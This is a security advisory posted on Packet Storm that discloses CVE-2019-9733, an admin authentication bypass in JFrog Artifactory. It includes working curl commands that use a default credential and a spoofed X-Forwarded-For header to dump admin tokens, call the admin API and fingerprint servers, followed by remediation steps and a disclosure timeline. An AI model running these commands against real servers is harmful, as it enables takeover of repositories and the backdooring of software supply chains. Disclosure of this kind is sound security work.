exploit the possibilities

JFrog Artifactory Administrator Authentication Bypass

JFrog Artifactory Administrator Authentication Bypass
Posted Mar 21, 2019
Authored by CipherTechs Red Team | Site ciphertechs.com

JFrog Artifactory versions prior to 6.8.7 suffer from an administrative access bypass vulnerability due to relying on an X-Forwarded-For header.

tags | exploit, bypass
advisories | CVE-2019-9733
MD5 | fe042f191396d32eca0fa45b6efdc58d

JFrog Artifactory Administrator Authentication Bypass

Change Mirror Download
       CipherTechs Inc - Security Advisory

JFrog Artifactory Administrator Authentication Bypass

JFrog Artifactory (https://jfrog.com/artifactory/) is a popular universal artifact repository manager commonly used by software developers. CipherTechs' Red Team discovered a high risk vulnerability that allows unauthenticated remote attackers to obtain administrative access to Artifactory servers and assume control of all stored artifacts and builds.


Affected Platforms and Versions
Product: JFrog Artifactory
Version: < 6.8.6

Vulnerability Overview
Security risk: Critical
Attack vector: Remote
Vendor Status: Fixed in version 6.8.6 released March 12, 2019

Vulnerability Description
Artifactory has an account that can be used to reset the admin account password from localhost.

By providing the HTTP header ‘X-Forwarded-For’ it is possible to bypass Artifactory’s whitelist allowed_ips.

Accessing the internal "password reset" admin account exposes the primary admin account's access token allowing an attacker to obtain admin access to the Artifactory server without disrupting other users' access.

This vulnerability is exploitable in most configurations including when an external SSO provider such as Okta or Onelogin is used.

Technical details

Artifactory’s documentation [1] states that a default account, access-admin, is present and can be used to reset the admin user’s password. CipherTechs used curl to see if the access-admin account was present and had the default password of password.

$ curl -ks -u access-admin:password https://artifactory.lan/artifactory/api/access/api/v1/users/ {
"errors" : [ {
"code" : "FORBIDDEN",
"message" : "User 'access-admin' is not allowed to login from remote address: [IP REDACTED]"
} ]

The error message shows that the credential access-admin:password is valid, but not allowed to login remotely. CipherTechs bypassed this measure by providing a X-Forwarded-For HTTP header and set it to (localhost).

$ curl -ks -H 'X-Forwarded-For:' -u access-admin:password https://artifactory.lan/artifactory/api/access/api/v1/users/ | jq .
"users": [
"username": "access-admin",
"realm": "internal",
"status": "enabled",
"allowed_ips": [
"created": "2019-01-19T20:00:40.327Z",
"modified": "2019-02-14T15:55:41.052Z",
"last_login_time": "1970-01-01T00:00:00.000Z",
"custom_data": {},
"password_expired": false,
"password_last_modified": 1518623741047,
"groups": []
"username": "admin",
"realm": "internal",
"status": "enabled",
"allowed_ips": [
"created": "2019-01-19T20:01:09.806Z",
"modified": "2019-02-14T15:38:54.481Z",
"last_login_time": "2019-02-20T11:53:57.973Z",
"last_login_ip": "[REDACTED]",
"custom_data": {
"public_key": "[REDACTED]",
"updatable_profile": "true",
"basictoken_shash": "[REDACTED]",
"private_key": "[REDACTED]",
"artifactory_admin": "true",
"basictoken": "[REDACTED]"
"password_expired": false,
"password_last_modified": 1518623741101,
"groups": []

[ CIPHERTECHS: LONG RESPONSE REMOVED FOR BREVITY. All users, keys, and tokens are returned]

Once authenticated as admin, the full rich Artifactory API was available [2] and yielded sensitive details. For example, the following request retrieves all builds.

$ curl -H"Authorization: Bearer $basictoken_value" -ks https://artifactory.lan/artifactory/api/builds/

The admin account has rights to publish artifacts and can overwrite existing files, making it possible for an attacker to backdoor existing artifacts that current and future builds depend on and giving persistent access across all environments and developer workstations.

Artifactory servers can be discovered by requesting the URI /artifactory/webapp/ and looking for the X-Artifactory-Id HTTP response header.

$ curl -I https://artifactory.lan/artifactory/webapp/
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-store,max-age=0
Cache-control: no-cache="set-cookie"
Content-Length: 2239
Content-Type: text/html
Date: Mon, 23 Feb 2019 17:24:08 GMT
ETag: W/"2239-1549437200000"
Last-Modified: Wed, 06 Feb 2019 07:13:20 GMT
Server: Artifactory/6.7.3
X-Artifactory-Id: d9b50a320385a5e306762e0c0a88ad4f6fe1527b
X-Artifactory-Node-Id: artifactory-node-1
Connection: keep-alive

Upgrade to JFrog Artifactory 6.8.6 or higher.

Change the default access-admin password.

Block external access to /api.

Review Artifactory logs for previous API use and any signs of access from unauthorized IP addresses.

Revoke basic tokens for all users. The example command below will revoke the basic token for the access-admin account.
curl -H "Content-Type: application/json+merge-patch" -XPATCH -uaccess-admin --data '{"username":"admin","custom_data":{"basictoken_shash":{"value":"REDACTED","sensitive":false},"basictoken":{"value":"","sensitive":true}}}' https://artifactory.lan/artifactory/api/v1/users/admin

2019.02.25 - Vulnerability discovered by CipherTechs
2019.02.28 - JFrog notified
2019.02.29 - JFrog provided interim fix for CipherTechs' client and began working on a patch.
2019.03.12 - Fixed version of Artifactory published at https://www.jfrog.com/confluence/display/RTF/Release+Notes#ReleaseNotes-Artifactory6.8.6
2019.03.21 - Public disclosure

CipherTechs Red Team

CipherTechs would like to thank JFrog for their professional response to this vulnerability disclosure.

[1] https://www.jfrog.com/confluence/display/RTF/Managing+Users
[2] https://www.jfrog.com/confluence/display/RTF/Artifactory+REST+API

The contents of this advisory are Copyright(c) 2019 CipherTechs Inc.


About CipherTechs

CipherTechs is a global Cyber Security service provider founded in 2001 that remains privately held with headquarters in New York City. CipherTechs is exclusively focused on cyber security and provide a full service solution portfolio. We service our customers through the following main practice areas: Offensive Security, Defensive Security, MSSP and SOC, Audit and Compliance, Training and Product Procurement.

Comments (1)

RSS Feed Subscribe to this comment feed

All exposed version got a patch fix, not just the latest

Comment by maxyor6040
2019-03-27 15:32:31 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2016 Packet Storm. All rights reserved.

Security Services
Hosting By